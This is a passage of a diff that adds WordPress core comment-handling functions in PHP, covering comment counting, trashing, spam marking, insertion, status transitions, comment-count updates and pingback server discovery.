+	 *
+	 * @param array $count   An empty array.
+	 * @param int   $post_id The post ID.
+	 */
+	$stats = apply_filters( 'wp_count_comments', array(), $post_id );
+	if ( !empty($stats) )
+		return $stats;
+
+	$count = wp_cache_get("comments-{$post_id}", 'counts');
+
+	if ( false !== $count )
+		return $count;
+
+	$where = '';
+	if ( $post_id > 0 )
+		$where = $wpdb->prepare( "WHERE comment_post_ID = %d", $post_id );
+
+	$count = $wpdb->get_results( "SELECT comment_approved, COUNT( * ) AS num_comments FROM {$wpdb->comments} {$where} GROUP BY comment_approved", ARRAY_A );
+
+	$total = 0;
+	$approved = array('0' => 'moderated', '1' => 'approved', 'spam' => 'spam', 'trash' => 'trash', 'post-trashed' => 'post-trashed');
+	foreach ( (array) $count as $row ) {
+		// Don't count post-trashed toward totals
+		if ( 'post-trashed' != $row['comment_approved'] && 'trash' != $row['comment_approved'] )
+			$total += $row['num_comments'];
+		if ( isset( $approved[$row['comment_approved']] ) )
+			$stats[$approved[$row['comment_approved']]] = $row['num_comments'];
+	}
+
+	$stats['total_comments'] = $total;
+	foreach ( $approved as $key ) {
+		if ( empty($stats[$key]) )
+			$stats[$key] = 0;
+	}
+
+	$stats = (object) $stats;
+	wp_cache_set("comments-{$post_id}", $stats, 'counts');
+
+	return $stats;
+}
+
+/**
+ * Trashes or deletes a comment.
+ *
+ * The comment is moved to trash instead of permanently deleted unless trash is
+ * disabled, item is already in the trash, or $force_delete is true.
+ *
+ * The post comment count will be updated if the comment was approved and has a
+ * post ID available.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $comment_id Comment ID
+ * @param bool $force_delete Whether to bypass trash and force deletion. Default is false.
+ * @return bool True on success, false on failure.
+ */
+function wp_delete_comment($comment_id, $force_delete = false) {
+	global $wpdb;
+	if (!$comment = get_comment($comment_id))
+		return false;
+
+	if ( !$force_delete && EMPTY_TRASH_DAYS && !in_array( wp_get_comment_status($comment_id), array( 'trash', 'spam' ) ) )
+		return wp_trash_comment($comment_id);
+
+	/**
+	 * Fires immediately before a comment is deleted from the database.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $comment_id The comment ID.
+	 */
+	do_action( 'delete_comment', $comment_id );
+
+	// Move children up a level.
+	$children = $wpdb->get_col( $wpdb->prepare("SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment_id) );
+	if ( !empty($children) ) {
+		$wpdb->update($wpdb->comments, array('comment_parent' => $comment->comment_parent), array('comment_parent' => $comment_id));
+		clean_comment_cache($children);
+	}
+
+	// Delete metadata
+	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d", $comment_id ) );
+	foreach ( $meta_ids as $mid )
+		delete_metadata_by_mid( 'comment', $mid );
+
+	if ( ! $wpdb->delete( $wpdb->comments, array( 'comment_ID' => $comment_id ) ) )
+		return false;
+
+	/**
+	 * Fires immediately after a comment is deleted from the database.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_id The comment ID.
+	 */
+	do_action( 'deleted_comment', $comment_id );
+
+	$post_id = $comment->comment_post_ID;
+	if ( $post_id && $comment->comment_approved == 1 )
+		wp_update_comment_count($post_id);
+
+	clean_comment_cache($comment_id);
+
+	/** This action is documented in wp-includes/comment.php */
+	do_action( 'wp_set_comment_status', $comment_id, 'delete' );
+
+	wp_transition_comment_status('delete', $comment->comment_approved, $comment);
+	return true;
+}
+
+/**
+ * Moves a comment to the Trash
+ *
+ * If trash is disabled, comment is permanently deleted.
+ *
+ * @since 2.9.0
+ *
+ * @param int $comment_id Comment ID.
+ * @return bool True on success, false on failure.
+ */
+function wp_trash_comment($comment_id) {
+	if ( !EMPTY_TRASH_DAYS )
+		return wp_delete_comment($comment_id, true);
+
+	if ( !$comment = get_comment($comment_id) )
+		return false;
+
+	/**
+	 * Fires immediately before a comment is sent to the Trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_id The comment ID.
+	 */
+	do_action( 'trash_comment', $comment_id );
+
+	if ( wp_set_comment_status($comment_id, 'trash') ) {
+		add_comment_meta($comment_id, '_wp_trash_meta_status', $comment->comment_approved);
+		add_comment_meta($comment_id, '_wp_trash_meta_time', time() );
+
+		/**
+		 * Fires immediately after a comment is sent to Trash.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $comment_id The comment ID.
+		 */
+		do_action( 'trashed_comment', $comment_id );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Removes a comment from the Trash
+ *
+ * @since 2.9.0
+ *
+ * @param int $comment_id Comment ID.
+ * @return bool True on success, false on failure.
+ */
+function wp_untrash_comment($comment_id) {
+	if ( ! (int)$comment_id )
+		return false;
+
+	/**
+	 * Fires immediately before a comment is restored from the Trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_id The comment ID.
+	 */
+	do_action( 'untrash_comment', $comment_id );
+
+	$status = (string) get_comment_meta($comment_id, '_wp_trash_meta_status', true);
+	if ( empty($status) )
+		$status = '0';
+
+	if ( wp_set_comment_status($comment_id, $status) ) {
+		delete_comment_meta($comment_id, '_wp_trash_meta_time');
+		delete_comment_meta($comment_id, '_wp_trash_meta_status');
+		/**
+		 * Fires immediately after a comment is restored from the Trash.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $comment_id The comment ID.
+		 */
+		do_action( 'untrashed_comment', $comment_id );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Marks a comment as Spam
+ *
+ * @since 2.9.0
+ *
+ * @param int $comment_id Comment ID.
+ * @return bool True on success, false on failure.
+ */
+function wp_spam_comment($comment_id) {
+	if ( !$comment = get_comment($comment_id) )
+		return false;
+
+	/**
+	 * Fires immediately before a comment is marked as Spam.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_id The comment ID.
+	 */
+	do_action( 'spam_comment', $comment_id );
+
+	if ( wp_set_comment_status($comment_id, 'spam') ) {
+		add_comment_meta($comment_id, '_wp_trash_meta_status', $comment->comment_approved);
+		/**
+		 * Fires immediately after a comment is marked as Spam.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $comment_id The comment ID.
+		 */
+		do_action( 'spammed_comment', $comment_id );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Removes a comment from the Spam
+ *
+ * @since 2.9.0
+ *
+ * @param int $comment_id Comment ID.
+ * @return bool True on success, false on failure.
+ */
+function wp_unspam_comment($comment_id) {
+	if ( ! (int)$comment_id )
+		return false;
+
+	/**
+	 * Fires immediately before a comment is unmarked as Spam.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_id The comment ID.
+	 */
+	do_action( 'unspam_comment', $comment_id );
+
+	$status = (string) get_comment_meta($comment_id, '_wp_trash_meta_status', true);
+	if ( empty($status) )
+		$status = '0';
+
+	if ( wp_set_comment_status($comment_id, $status) ) {
+		delete_comment_meta($comment_id, '_wp_trash_meta_status');
+		/**
+		 * Fires immediately after a comment is unmarked as Spam.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param int $comment_id The comment ID.
+		 */
+		do_action( 'unspammed_comment', $comment_id );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * The status of a comment by ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $comment_id Comment ID
+ * @return false|string Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure.
+ */
+function wp_get_comment_status($comment_id) {
+	$comment = get_comment($comment_id);
+	if ( !$comment )
+		return false;
+
+	$approved = $comment->comment_approved;
+
+	if ( $approved == null )
+		return false;
+	elseif ( $approved == '1' )
+		return 'approved';
+	elseif ( $approved == '0' )
+		return 'unapproved';
+	elseif ( $approved == 'spam' )
+		return 'spam';
+	elseif ( $approved == 'trash' )
+		return 'trash';
+	else
+		return false;
+}
+
+/**
+ * Call hooks for when a comment status transition occurs.
+ *
+ * Calls hooks for comment status transitions. If the new comment status is not the same
+ * as the previous comment status, then two hooks will be ran, the first is
+ * 'transition_comment_status' with new status, old status, and comment data. The
+ * next action called is 'comment_OLDSTATUS_to_NEWSTATUS' the NEWSTATUS is the
+ * $new_status parameter and the OLDSTATUS is $old_status parameter; it has the
+ * comment data.
+ *
+ * The final action will run whether or not the comment statuses are the same. The
+ * action is named 'comment_NEWSTATUS_COMMENTTYPE', NEWSTATUS is from the $new_status
+ * parameter and COMMENTTYPE is comment_type comment data.
+ *
+ * @since 2.7.0
+ *
+ * @param string $new_status New comment status.
+ * @param string $old_status Previous comment status.
+ * @param object $comment Comment data.
+ */
+function wp_transition_comment_status($new_status, $old_status, $comment) {
+	/*
+	 * Translate raw statuses to human readable formats for the hooks.
+	 * This is not a complete list of comment status, it's only the ones
+	 * that need to be renamed
+	 */
+	$comment_statuses = array(
+		0         => 'unapproved',
+		'hold'    => 'unapproved', // wp_set_comment_status() uses "hold"
+		1         => 'approved',
+		'approve' => 'approved', // wp_set_comment_status() uses "approve"
+	);
+	if ( isset($comment_statuses[$new_status]) ) $new_status = $comment_statuses[$new_status];
+	if ( isset($comment_statuses[$old_status]) ) $old_status = $comment_statuses[$old_status];
+
+	// Call the hooks
+	if ( $new_status != $old_status ) {
+		/**
+		 * Fires when the comment status is in transition.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param int|string $new_status The new comment status.
+		 * @param int|string $old_status The old comment status.
+		 * @param object     $comment    The comment data.
+		 */
+		do_action( 'transition_comment_status', $new_status, $old_status, $comment );
+		/**
+		 * Fires when the comment status is in transition from one specific status to another.
+		 *
+		 * The dynamic portions of the hook name, `$old_status`, and `$new_status`,
+		 * refer to the old and new comment statuses, respectively.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param object $comment Comment object.
+		 */
+		do_action( "comment_{$old_status}_to_{$new_status}", $comment );
+	}
+	/**
+	 * Fires when the status of a specific comment type is in transition.
+	 *
+	 * The dynamic portions of the hook name, `$new_status`, and `$comment->comment_type`,
+	 * refer to the new comment status, and the type of comment, respectively.
+	 *
+	 * Typical comment types include an empty string (standard comment), 'pingback',
+	 * or 'trackback'.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param int $comment_ID The comment ID.
+	 * @param obj $comment    Comment object.
+	 */
+	do_action( "comment_{$new_status}_{$comment->comment_type}", $comment->comment_ID, $comment );
+}
+
+/**
+ * Get current commenter's name, email, and URL.
+ *
+ * Expects cookies content to already be sanitized. User of this function might
+ * wish to recheck the returned array for validity.
+ *
+ * @see sanitize_comment_cookies() Use to sanitize cookies
+ *
+ * @since 2.0.4
+ *
+ * @return array Comment author, email, url respectively.
+ */
+function wp_get_current_commenter() {
+	// Cookies should already be sanitized.
+
+	$comment_author = '';
+	if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) )
+		$comment_author = $_COOKIE['comment_author_'.COOKIEHASH];
+
+	$comment_author_email = '';
+	if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) )
+		$comment_author_email = $_COOKIE['comment_author_email_'.COOKIEHASH];
+
+	$comment_author_url = '';
+	if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) )
+		$comment_author_url = $_COOKIE['comment_author_url_'.COOKIEHASH];
+
+	/**
+	 * Filter the current commenter's name, email, and URL.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $comment_author       Comment author's name.
+	 * @param string $comment_author_email Comment author's email.
+	 * @param string $comment_author_url   Comment author's URL.
+	 */
+	return apply_filters( 'wp_get_current_commenter', compact('comment_author', 'comment_author_email', 'comment_author_url') );
+}
+
+/**
+ * Inserts a comment to the database.
+ *
+ * The available comment data key names are 'comment_author_IP', 'comment_date',
+ * 'comment_date_gmt', 'comment_parent', 'comment_approved', and 'user_id'.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @return int|bool The new comment's ID on success, false on failure.
+ */
+function wp_insert_comment( $commentdata ) {
+	global $wpdb;
+	$data = wp_unslash( $commentdata );
+
+	$comment_author       = ! isset( $data['comment_author'] )       ? '' : $data['comment_author'];
+	$comment_author_email = ! isset( $data['comment_author_email'] ) ? '' : $data['comment_author_email'];
+	$comment_author_url   = ! isset( $data['comment_author_url'] )   ? '' : $data['comment_author_url'];
+	$comment_author_IP    = ! isset( $data['comment_author_IP'] )    ? '' : $data['comment_author_IP'];
+
+	$comment_date     = ! isset( $data['comment_date'] )     ? current_time( 'mysql' )            : $data['comment_date'];
+	$comment_date_gmt = ! isset( $data['comment_date_gmt'] ) ? get_gmt_from_date( $comment_date ) : $data['comment_date_gmt'];
+
+	$comment_post_ID  = ! isset( $data['comment_post_ID'] )  ? '' : $data['comment_post_ID'];
+	$comment_content  = ! isset( $data['comment_content'] )  ? '' : $data['comment_content'];
+	$comment_karma    = ! isset( $data['comment_karma'] )    ? 0  : $data['comment_karma'];
+	$comment_approved = ! isset( $data['comment_approved'] ) ? 1  : $data['comment_approved'];
+	$comment_agent    = ! isset( $data['comment_agent'] )    ? '' : $data['comment_agent'];
+	$comment_type     = ! isset( $data['comment_type'] )     ? '' : $data['comment_type'];
+	$comment_parent   = ! isset( $data['comment_parent'] )   ? 0  : $data['comment_parent'];
+
+	$user_id  = ! isset( $data['user_id'] ) ? 0 : $data['user_id'];
+
+	$compacted = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_karma', 'comment_approved', 'comment_agent', 'comment_type', 'comment_parent', 'user_id' );
+	if ( ! $wpdb->insert( $wpdb->comments, $compacted ) ) {
+		return false;
+	}
+
+	$id = (int) $wpdb->insert_id;
+
+	if ( $comment_approved == 1 ) {
+		wp_update_comment_count( $comment_post_ID );
+	}
+	$comment = get_comment( $id );
+
+	/**
+	 * Fires immediately after a comment is inserted into the database.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $id      The comment ID.
+	 * @param obj $comment Comment object.
+	 */
+	do_action( 'wp_insert_comment', $id, $comment );
+
+	wp_cache_set( 'last_changed', microtime(), 'comment' );
+
+	return $id;
+}
+
+/**
+ * Filters and sanitizes comment data.
+ *
+ * Sets the comment data 'filtered' field to true when finished. This can be
+ * checked as to whether the comment should be filtered and to keep from
+ * filtering the same comment more than once.
+ *
+ * @since 2.0.0
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @return array Parsed comment information.
+ */
+function wp_filter_comment($commentdata) {
+	if ( isset( $commentdata['user_ID'] ) ) {
+		/**
+		 * Filter the comment author's user id before it is set.
+		 *
+		 * The first time this filter is evaluated, 'user_ID' is checked
+		 * (for back-compat), followed by the standard 'user_id' value.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param int $user_ID The comment author's user ID.
+		 */
+		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_ID'] );
+	} elseif ( isset( $commentdata['user_id'] ) ) {
+		/** This filter is documented in wp-includes/comment.php */
+		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_id'] );
+	}
+
+	/**
+	 * Filter the comment author's browser user agent before it is set.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $comment_agent The comment author's browser user agent.
+	 */
+	$commentdata['comment_agent'] = apply_filters( 'pre_comment_user_agent', ( isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '' ) );
+	/** This filter is documented in wp-includes/comment.php */
+	$commentdata['comment_author'] = apply_filters( 'pre_comment_author_name', $commentdata['comment_author'] );
+	/**
+	 * Filter the comment content before it is set.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $comment_content The comment content.
+	 */
+	$commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] );
+	/**
+	 * Filter the comment author's IP before it is set.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $comment_author_ip The comment author's IP.
+	 */
+	$commentdata['comment_author_IP'] = apply_filters( 'pre_comment_user_ip', $commentdata['comment_author_IP'] );
+	/** This filter is documented in wp-includes/comment.php */
+	$commentdata['comment_author_url'] = apply_filters( 'pre_comment_author_url', $commentdata['comment_author_url'] );
+	/** This filter is documented in wp-includes/comment.php */
+	$commentdata['comment_author_email'] = apply_filters( 'pre_comment_author_email', $commentdata['comment_author_email'] );
+	$commentdata['filtered'] = true;
+	return $commentdata;
+}
+
+/**
+ * Whether a comment should be blocked because of comment flood.
+ *
+ * @since 2.1.0
+ *
+ * @param bool $block Whether plugin has already blocked comment.
+ * @param int $time_lastcomment Timestamp for last comment.
+ * @param int $time_newcomment Timestamp for new comment.
+ * @return bool Whether comment should be blocked.
+ */
+function wp_throttle_comment_flood($block, $time_lastcomment, $time_newcomment) {
+	if ( $block ) // a plugin has already blocked... we'll let that decision stand
+		return $block;
+	if ( ($time_newcomment - $time_lastcomment) < 15 )
+		return true;
+	return false;
+}
+
+/**
+ * Adds a new comment to the database.
+ *
+ * Filters new comment to ensure that the fields are sanitized and valid before
+ * inserting comment into database. Calls 'comment_post' action with comment ID
+ * and whether comment is approved by WordPress. Also has 'preprocess_comment'
+ * filter for processing the comment data before the function handles it.
+ *
+ * We use REMOTE_ADDR here directly. If you are behind a proxy, you should ensure
+ * that it is properly set, such as in wp-config.php, for your environment.
+ * See {@link https://core.trac.wordpress.org/ticket/9235}
+ *
+ * @since 1.5.0
+ * @param array $commentdata Contains information on the comment.
+ * @return int|bool The ID of the comment on success, false on failure.
+ */
+function wp_new_comment( $commentdata ) {
+	if ( isset( $commentdata['user_ID'] ) ) {
+		$commentdata['user_id'] = $commentdata['user_ID'] = (int) $commentdata['user_ID'];
+	}
+
+	$prefiltered_user_id = ( isset( $commentdata['user_id'] ) ) ? (int) $commentdata['user_id'] : 0;
+
+	/**
+	 * Filter a comment's data before it is sanitized and inserted into the database.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $commentdata Comment data.
+	 */
+	$commentdata = apply_filters( 'preprocess_comment', $commentdata );
+
+	$commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID'];
+	if ( isset( $commentdata['user_ID'] ) && $prefiltered_user_id !== (int) $commentdata['user_ID'] ) {
+		$commentdata['user_id'] = $commentdata['user_ID'] = (int) $commentdata['user_ID'];
+	} elseif ( isset( $commentdata['user_id'] ) ) {
+		$commentdata['user_id'] = (int) $commentdata['user_id'];
+	}
+
+	$commentdata['comment_parent'] = isset($commentdata['comment_parent']) ? absint($commentdata['comment_parent']) : 0;
+	$parent_status = ( 0 < $commentdata['comment_parent'] ) ? wp_get_comment_status($commentdata['comment_parent']) : '';
+	$commentdata['comment_parent'] = ( 'approved' == $parent_status || 'unapproved' == $parent_status ) ? $commentdata['comment_parent'] : 0;
+
+	$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '',$_SERVER['REMOTE_ADDR'] );
+	$commentdata['comment_agent']     = isset( $_SERVER['HTTP_USER_AGENT'] ) ? substr( $_SERVER['HTTP_USER_AGENT'], 0, 254 ) : '';
+
+	$commentdata['comment_date']     = current_time('mysql');
+	$commentdata['comment_date_gmt'] = current_time('mysql', 1);
+
+	$commentdata = wp_filter_comment($commentdata);
+
+	$commentdata['comment_approved'] = wp_allow_comment($commentdata);
+
+	$comment_ID = wp_insert_comment($commentdata);
+	if ( ! $comment_ID ) {
+		return false;
+	}
+
+	/**
+	 * Fires immediately after a comment is inserted into the database.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $comment_ID       The comment ID.
+	 * @param int $comment_approved 1 (true) if the comment is approved, 0 (false) if not.
+	 */
+	do_action( 'comment_post', $comment_ID, $commentdata['comment_approved'] );
+
+	if ( 'spam' !== $commentdata['comment_approved'] ) { // If it's spam save it silently for later crunching
+		if ( '0' == $commentdata['comment_approved'] ) {
+			wp_notify_moderator( $comment_ID );
+		}
+
+		// wp_notify_postauthor() checks if notifying the author of their own comment.
+		// By default, it won't, but filters can override this.
+		if ( get_option( 'comments_notify' ) && $commentdata['comment_approved'] ) {
+			wp_notify_postauthor( $comment_ID );
+		}
+	}
+
+	return $comment_ID;
+}
+
+/**
+ * Sets the status of a comment.
+ *
+ * The 'wp_set_comment_status' action is called after the comment is handled.
+ * If the comment status is not in the list, then false is returned.
+ *
+ * @since 1.0.0
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $comment_status New comment status, either 'hold', 'approve', 'spam', or 'trash'.
+ * @param bool $wp_error Whether to return a WP_Error object if there is a failure. Default is false.
+ * @return bool|WP_Error True on success, false or WP_Error on failure.
+ */
+function wp_set_comment_status($comment_id, $comment_status, $wp_error = false) {
+	global $wpdb;
+
+	switch ( $comment_status ) {
+		case 'hold':
+		case '0':
+			$status = '0';
+			break;
+		case 'approve':
+		case '1':
+			$status = '1';
+			if ( get_option('comments_notify') ) {
+				wp_notify_postauthor( $comment_id );
+			}
+			break;
+		case 'spam':
+			$status = 'spam';
+			break;
+		case 'trash':
+			$status = 'trash';
+			break;
+		default:
+			return false;
+	}
+
+	$comment_old = clone get_comment($comment_id);
+
+	if ( !$wpdb->update( $wpdb->comments, array('comment_approved' => $status), array('comment_ID' => $comment_id) ) ) {
+		if ( $wp_error )
+			return new WP_Error('db_update_error', __('Could not update comment status'), $wpdb->last_error);
+		else
+			return false;
+	}
+
+	clean_comment_cache($comment_id);
+
+	$comment = get_comment($comment_id);
+
+	/**
+	 * Fires immediately before transitioning a comment's status from one to another
+	 * in the database.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int         $comment_id     Comment ID.
+	 * @param string|bool $comment_status Current comment status. Possible values include
+	 *                                    'hold', 'approve', 'spam', 'trash', or false.
+	 */
+	do_action( 'wp_set_comment_status', $comment_id, $comment_status );
+
+	wp_transition_comment_status($comment_status, $comment_old->comment_approved, $comment);
+
+	wp_update_comment_count($comment->comment_post_ID);
+
+	return true;
+}
+
+/**
+ * Updates an existing comment in the database.
+ *
+ * Filters the comment and makes sure certain fields are valid before updating.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentarr Contains information on the comment.
+ * @return int Comment was updated if value is 1, or was not updated if value is 0.
+ */
+function wp_update_comment($commentarr) {
+	global $wpdb;
+
+	// First, get all of the original fields
+	$comment = get_comment($commentarr['comment_ID'], ARRAY_A);
+	if ( empty( $comment ) ) {
+		return 0;
+	}
+	// Escape data pulled from DB.
+	$comment = wp_slash($comment);
+
+	$old_status = $comment['comment_approved'];
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$commentarr = array_merge($comment, $commentarr);
+
+	$commentarr = wp_filter_comment( $commentarr );
+
+	// Now extract the merged array.
+	$data = wp_unslash( $commentarr );
+
+	/**
+	 * Filter the comment content before it is updated in the database.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_content The comment data.
+	 */
+	$data['comment_content'] = apply_filters( 'comment_save_pre', $data['comment_content'] );
+
+	$data['comment_date_gmt'] = get_gmt_from_date( $data['comment_date'] );
+
+	if ( ! isset( $data['comment_approved'] ) ) {
+		$data['comment_approved'] = 1;
+	} else if ( 'hold' == $data['comment_approved'] ) {
+		$data['comment_approved'] = 0;
+	} else if ( 'approve' == $data['comment_approved'] ) {
+		$data['comment_approved'] = 1;
+	}
+
+	$comment_ID = $data['comment_ID'];
+	$comment_post_ID = $data['comment_post_ID'];
+	$keys = array( 'comment_content', 'comment_author', 'comment_author_email', 'comment_approved', 'comment_karma', 'comment_author_url', 'comment_date', 'comment_date_gmt', 'comment_parent' );
+	$data = wp_array_slice_assoc( $data, $keys );
+	$rval = $wpdb->update( $wpdb->comments, $data, compact( 'comment_ID' ) );
+
+	clean_comment_cache( $comment_ID );
+	wp_update_comment_count( $comment_post_ID );
+	/**
+	 * Fires immediately after a comment is updated in the database.
+	 *
+	 * The hook also fires immediately before comment status transition hooks are fired.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $comment_ID The comment ID.
+	 */
+	do_action( 'edit_comment', $comment_ID );
+	$comment = get_comment($comment_ID);
+	wp_transition_comment_status($comment->comment_approved, $old_status, $comment);
+	return $rval;
+}
+
+/**
+ * Whether to defer comment counting.
+ *
+ * When setting $defer to true, all post comment counts will not be updated
+ * until $defer is set to false. When $defer is set to false, then all
+ * previously deferred updated post comment counts will then be automatically
+ * updated without having to call wp_update_comment_count() after.
+ *
+ * @since 2.5.0
+ * @staticvar bool $_defer
+ *
+ * @param bool $defer
+ * @return bool
+ */
+function wp_defer_comment_counting($defer=null) {
+	static $_defer = false;
+
+	if ( is_bool($defer) ) {
+		$_defer = $defer;
+		// flush any deferred counts
+		if ( !$defer )
+			wp_update_comment_count( null, true );
+	}
+
+	return $_defer;
+}
+
+/**
+ * Updates the comment count for post(s).
+ *
+ * When $do_deferred is false (is by default) and the comments have been set to
+ * be deferred, the post_id will be added to a queue, which will be updated at a
+ * later date and only updated once per post ID.
+ *
+ * If the comments have not be set up to be deferred, then the post will be
+ * updated. When $do_deferred is set to true, then all previous deferred post
+ * IDs will be updated along with the current $post_id.
+ *
+ * @since 2.1.0
+ * @see wp_update_comment_count_now() For what could cause a false return value
+ *
+ * @param int $post_id Post ID
+ * @param bool $do_deferred Whether to process previously deferred post comment counts
+ * @return bool|null True on success, false on failure
+ */
+function wp_update_comment_count($post_id, $do_deferred=false) {
+	static $_deferred = array();
+
+	if ( $do_deferred ) {
+		$_deferred = array_unique($_deferred);
+		foreach ( $_deferred as $i => $_post_id ) {
+			wp_update_comment_count_now($_post_id);
+			unset( $_deferred[$i] ); /** @todo Move this outside of the foreach and reset $_deferred to an array instead */
+		}
+	}
+
+	if ( wp_defer_comment_counting() ) {
+		$_deferred[] = $post_id;
+		return true;
+	}
+	elseif ( $post_id ) {
+		return wp_update_comment_count_now($post_id);
+	}
+
+}
+
+/**
+ * Updates the comment count for the post.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Post ID
+ * @return bool True on success, false on '0' $post_id or if post with ID does not exist.
+ */
+function wp_update_comment_count_now($post_id) {
+	global $wpdb;
+	$post_id = (int) $post_id;
+	if ( !$post_id )
+		return false;
+	if ( !$post = get_post($post_id) )
+		return false;
+
+	$old = (int) $post->comment_count;
+	$new = (int) $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id) );
+	$wpdb->update( $wpdb->posts, array('comment_count' => $new), array('ID' => $post_id) );
+
+	clean_post_cache( $post );
+
+	/**
+	 * Fires immediately after a post's comment count is updated in the database.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @param int $new     The new comment count.
+	 * @param int $old     The old comment count.
+	 */
+	do_action( 'wp_update_comment_count', $post_id, $new, $old );
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'edit_post', $post_id, $post );
+
+	return true;
+}
+
+//
+// Ping and trackback functions.
+//
+
+/**
+ * Finds a pingback server URI based on the given URL.
+ *
+ * Checks the HTML for the rel="pingback" link and x-pingback headers. It does
+ * a check for the x-pingback headers first and returns that, if available. The
+ * check for the rel="pingback" has more overhead than just the header.
+ *
+ * @since 1.5.0
+ *
+ * @param string $url URL to ping.
+ * @param int $deprecated Not Used.
+ * @return false|string False on failure, string containing URI on success.
+ */
+function discover_pingback_server_uri( $url, $deprecated = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.7' );
+
+	$pingback_str_dquote = 'rel="pingback"';
+	$pingback_str_squote = 'rel=\'pingback\'';
+
+	/** @todo Should use Filter Extension or custom preg_match instead. */
+	$parsed_url = parse_url($url);
+
+	if ( ! isset( $parsed_url['host'] ) ) // Not an URL. This should never happen.
+		return false;
+
+	//Do not search for a pingback server on our own uploads
+	$uploads_dir = wp_upload_dir();
+	if ( 0 === strpos($url, $uploads_dir['baseurl']) )
+		return false;
+
+	$response = wp_safe_remote_head( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	if ( wp_remote_retrieve_header( $response, 'x-pingback' ) )
+		return wp_remote_retrieve_header( $response, 'x-pingback' );
+
+	// Not an (x)html, sgml, or xml page, no use going further.
+	if ( preg_match('#(image|audio|video|model)/#is', wp_remote_retrieve_header( $response, 'content-type' )) )
+		return false;
+
+	// Now do a GET since we're going to look in the html headers (and we're sure it's not a binary file)
+	$response = wp_safe_remote_get( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	$contents = wp_remote_retrieve_body( $response );
+
+	$pingback_link_offset_dquote = strpos($contents, $pingback_str_dquote);
+	$pingback_link_offset_squote = strpos($contents, $pingback_str_squote);
+	if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) {
+		$quote = ($pingback_link_offset_dquote) ? '"' : '\'';
+		$pingback_link_offset = ($quote=='"') ? $pingback_link_offset_dquote : $pingback_link_offset_squote;
+		$pingback_href_pos = @strpos($contents, 'href=', $pingback_link_offset);
+		$pingback_href_start = $pingback_href_pos+6;
+		$pingback_href_end = @strpos($contents, $quote, $pingback_href_start);
+		$pingback_server_url_len = $pingback_href_end - $pingback_href_start;
+		$pingback_server_url = substr($contents, $pingback_href_start, $pingback_server_url_len);
+
+		// We may find rel="pingback" but an incomplete pingback URL
+		if ( $pingback_server_url_len > 0 ) { // We got it!
+			return $pingback_server_url;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Perform all pingbacks, enclosures, trackbacks, and send to pingback services.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function do_all_pings() {
+	global $wpdb;
+
+	// Do pingbacks
